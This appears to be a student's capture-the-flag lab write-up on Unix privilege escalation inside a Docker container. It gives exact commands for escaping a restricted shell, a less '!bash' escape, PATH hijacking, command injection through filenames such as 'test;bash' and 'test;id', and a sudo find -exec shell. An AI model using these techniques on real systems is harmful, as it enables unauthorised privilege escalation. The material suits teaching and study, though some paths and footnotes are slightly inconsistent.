CyberSecurity - Unix Basics

Philip Magnus

2025-03-02

Preperation

```
$ docker load -i unix_basics.tar.gz
$ docker run -it unix_basics
```

First we need to load the docker image into our local image repository with the first command. The second command starts a docker container with the loaded `unix_basics` image and attaches our terminal session to the standard in- and output of the container.

After starting the container we can start exploring its structure. The interesting part are the challenges in this container contained in the `/home/` directory. The challenges are separated into five stages:

```
home/
|- stage1/
|  |- stage1
|  |- stage1.c
|  |- stage1.txt
|- stage2/
|  |- stage2.c
|  |- stage2
|  |- stage2.txt
|- stage3/
|  |- stage3
|  |- stage3.c
|- stage4/
|  |- stage4
|  |- stage4.c
|- stage5/
|  |- stage5.txt
```

> NOTE: The annotations in this document contain links to references for further reading.

Stage 0

The container starts within a restricted shell, in the following called `rshell`. The rshell doesn't allow us to change the directory we are working in. So to move freely around the container our first task is to break out of the rshell.

To get a better overview of the tools at hand we can take a look at the `$PATH` variable. Here we see that the `$PATH` contains the /usr/bin directory. Checking the directory and it's contents reveals executables we can use system wide without needing to change the working directory. The /usr/bin directory contains a bash executable. Simply executing the bash command leads to a new session which is no longer restricted as can be shown by simply changing the directory.

```
user@2edddc8fc16e:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
user@2edddc8fc16e:~$ ls -la /usr/bin/ | grep bash
-rwxr-xr-x 1 root root   1183448 Jun 18  2020 bash
-rwxr-xr-x 1 root root      6794 Jun 18  2020 bashbug
lrwxrwxrwx 1 root root         4 Jun 18  2020 rbash -> bash
user@2edddc8fc16e:~$ bash
user@2edddc8fc16e:~$ cd /home/stage1
user@2edddc8fc16e:/home/stage1$
```

Stage 1

In the C source code for `stage1` we can see that the program is calling the `less` command on a *stage1.txt* file. `less` allows the execution of commands by typing a `!`in front of the command, for example: `!bash` would execute the bash command.[1]

With the following commands we can gain more privileges by opening a bash session with the group of the `stage1` executable.

With `id` we can confirm the gained group.

```
iuser@eabdf37ef1a9:/home/stage1$ ./stage1

# In the opened less window type the following:
# !bash
# Submit the command with enter. less executes the command and starts a shell
# with the rights of the run ./stage1 executable

user@eabdf37ef1a9:/home/stage1$ id
uid=1000(user) gid=1501(stage1) groups=1501(stage1),1000(user)
```

Stage 2

The source code of the `stage2` executable shows that the `cat` command is called on a *stage2.txt* file.

The command is called without a full path, this means the system needs to find the `cat` executable via it's `$PATH` variable.

We can exploit this with the following steps:

First we create our own `cat` file in a directory for which we have access rights.

```
user@eabdf37ef1a9:/home/stage2$ mkdir /tmp/stage2
user@eabdf37ef1a9:/home/stage2$ vi /tmp/stage2/cat
```

Into the `cat` file we enter a simple bash script that executes a command, for our example we use the `id` command.

```
#!/bin/bash
id
```

In the second step we set the right to execute our `cat` file for all users. After that we prepend the `$PATH` with the directory containing our `cat` file and execute `stage2`.

Because our `cat` file will be the first one found when looking at the `$PATH` the system will choose the file which we control for execution. [2]

[1] Executing commands in less
[2] Executing commands in less

By calling `stage2` we execute our controlled file with the rights of the `stage2` executable.

```
user@eabdf37ef1a9:/home/stage2$ chmod a+x /tmp/stage2/cat
user@eabdf37ef1a9:/home/stage2$ PATH=/tmp/stage2/:$PATH ./stage2
uid=1000(user) gid=1502(stage2) groups=1502(stage2),1000(user)
```

Stage 3

Looking at the source code for `stage3` shows us that the executable takes a user input and checks if a given file exists via the `stat()` function. The `stat()` function returns `0` if it executes correctly in any other case it would return a `-1`which would be the case if a file is non-existent. [3]

If the file exists the executable will try to execute the program name as a command in the shell. We can try to use this behavior to our advantage by creating a file with a name containing a `;` and the command we want to execute to gain new privileges. For example we create a file called `test;bash`. After using this file as our user input for `stage3` we can check our groups once again with the `id` command.

```
user@eabdf37ef1a9:/home/stage3$ mkdir /tmp/stage3
user@eabdf37ef1a9:/home/stage3$ touch "/tmp/stage3/test;bash"
user@eabdf37ef1a9:/home/stage3$ ./stage3
Please enter the filename you want to access: /tmp/mytmp/test;bash
/tmp/mytmp/test: empty
user@eabdf37ef1a9:/home/stage3$ id
uid=1000(user) gid=1503(stage3) groups=1503(stage3),1000(user)
```

Stage 4

Investigating the source code for `stage4` shows us that the executable implements a handler for the `USR1` signal. Signals are specific values that can be send to processes to notify these processes of events.

For this the normal execution of the program is interrupted and a specific reaction is triggered, for example the termination of the program. One of the most well known signals would be the `Ctrl+C` combination which interrupts the execution of a program. [4]

In the source code of `stage4` we can see that if the `USR1` signal is received by the program the program name (`argv[0]`) will be tried to execute via the `system()` function.[5]

To exploit this we need the program name to read as a command we want to execute when sending the signal to the program. For this we create a symlink to the original program an execute it that way. The program name will no longe be read as `stage4` but in our example as `test;id`. Just like `stage3`, when the signal is received, the program will eventually execute the id command with the given privileges of the original `stage4` program executable.

To ensure the program is still running when we send the signal, we need to choose a big enough value for which prime numbers can be searched by the program, which would be the programs intended use case. With the `&` we send the running program to the background which will make it easier for us to execute other commands as well as finding the process id, which we need to send the signal to the running program. [6]

`sleep 0` will yield the CPU briefly [7] so we can execute another command directly after executing `stage4` in our example we execute the `kill` command to send the signal to the running program.[8]

Finally to find the process id we simply use the special `$!` variable which contains the process id of the last process that was send to the background.

[3] Man pages for stat()
[4] POSIX Signals
[5] Man pages for system()
[6] & in a shell command
[7] What does sleep 0 do?
[8] Sending POSIX signals

```
user@2edddc8fc16e:/tmp/stage4$ ln -s /home/stage4/stage4 "test;id"
user@2edddc8fc16e:/tmp/stage4$ "./test;id" 5000 & sleep 0; kill -USR1 $!
user@2edddc8fc16e:/tmp/stage4$ interrupt signal caught, terminating ./test
uid=1000(user) gid=1504(stage4) groups=1504(stage4),1000(user)
```

Stage 5

When looking at the `stage5` directory we notice that there is no source code or executable present. Just a text file containing the following message:

```
user@2edddc8fc16e:/tmp/stage5$ cat /home/stage5/stage5.txt
Wait, there is no executable here? But you are sure there has to be something.
After all you saw the "SUpervisoryDataOrganisation" menue entry when you logged in.
So there must be one more level of privilege to gain... But how?

-- Check your privilege!
```

The message seems to hint at something wrong with the configuration of `sudo` (Hint: **SU**pervisory**D**ata**O**rganisation). To evaluate the configuration we can take a look at the `/sudoers.d/` directory. The `/sudoers.d/` directory contains files with configurations for the `sudo` command. The files can contain which group of users can use which applications, these files will be sourced and applied with the `sudoers` file. [9]

In this directory we can see one file with the name find. Looking at the contents we can see that the `find` command can be run with `sudo` when using the group `stage5` without a password. This means we can execute the find command with group rights of `stage5` without the need for a password.

This can be exploited by us because the find command comes with the functionality to execute commands on files it finds. We can craft a command that uses the `-exec` functionality terminated by `";"`. Without specifying a file to search for the command will be executed for every file found in the working directory, if no file is present it will be executed at least once, because the find command will also recognize directories and `.` counts as a directory when using the `find` command. [10]

```
user@2edddc8fc16e:/tmp/stage5$ ls -la /etc/sudoers.d/
total 16
drwxr-xr-x 1 root root 4096 Feb 20  2022 .
drwxr-xr-x 1 root root 4096 Mar  1 19:27 ..
-r--r----- 1 root root  958 Jan 19  2021 README
-rw-r--r-- 1 root root   42 Feb 20  2022 find
user@2edddc8fc16e:/tmp/stage5$ cat /etc/sudoers.d/find
ALL  ALL=(:stage5) NOPASSWD:/usr/bin/find
user@2edddc8fc16e:/tmp/stage5$ sudo -g stage5 find -exec bash ";"
user@2edddc8fc16e:/tmp/stage5$ id
uid=1000(user) gid=1505(stage5) groups=1505(stage5),1000(user)
```

[9] Editing the sudoers file
[10] Man pages for find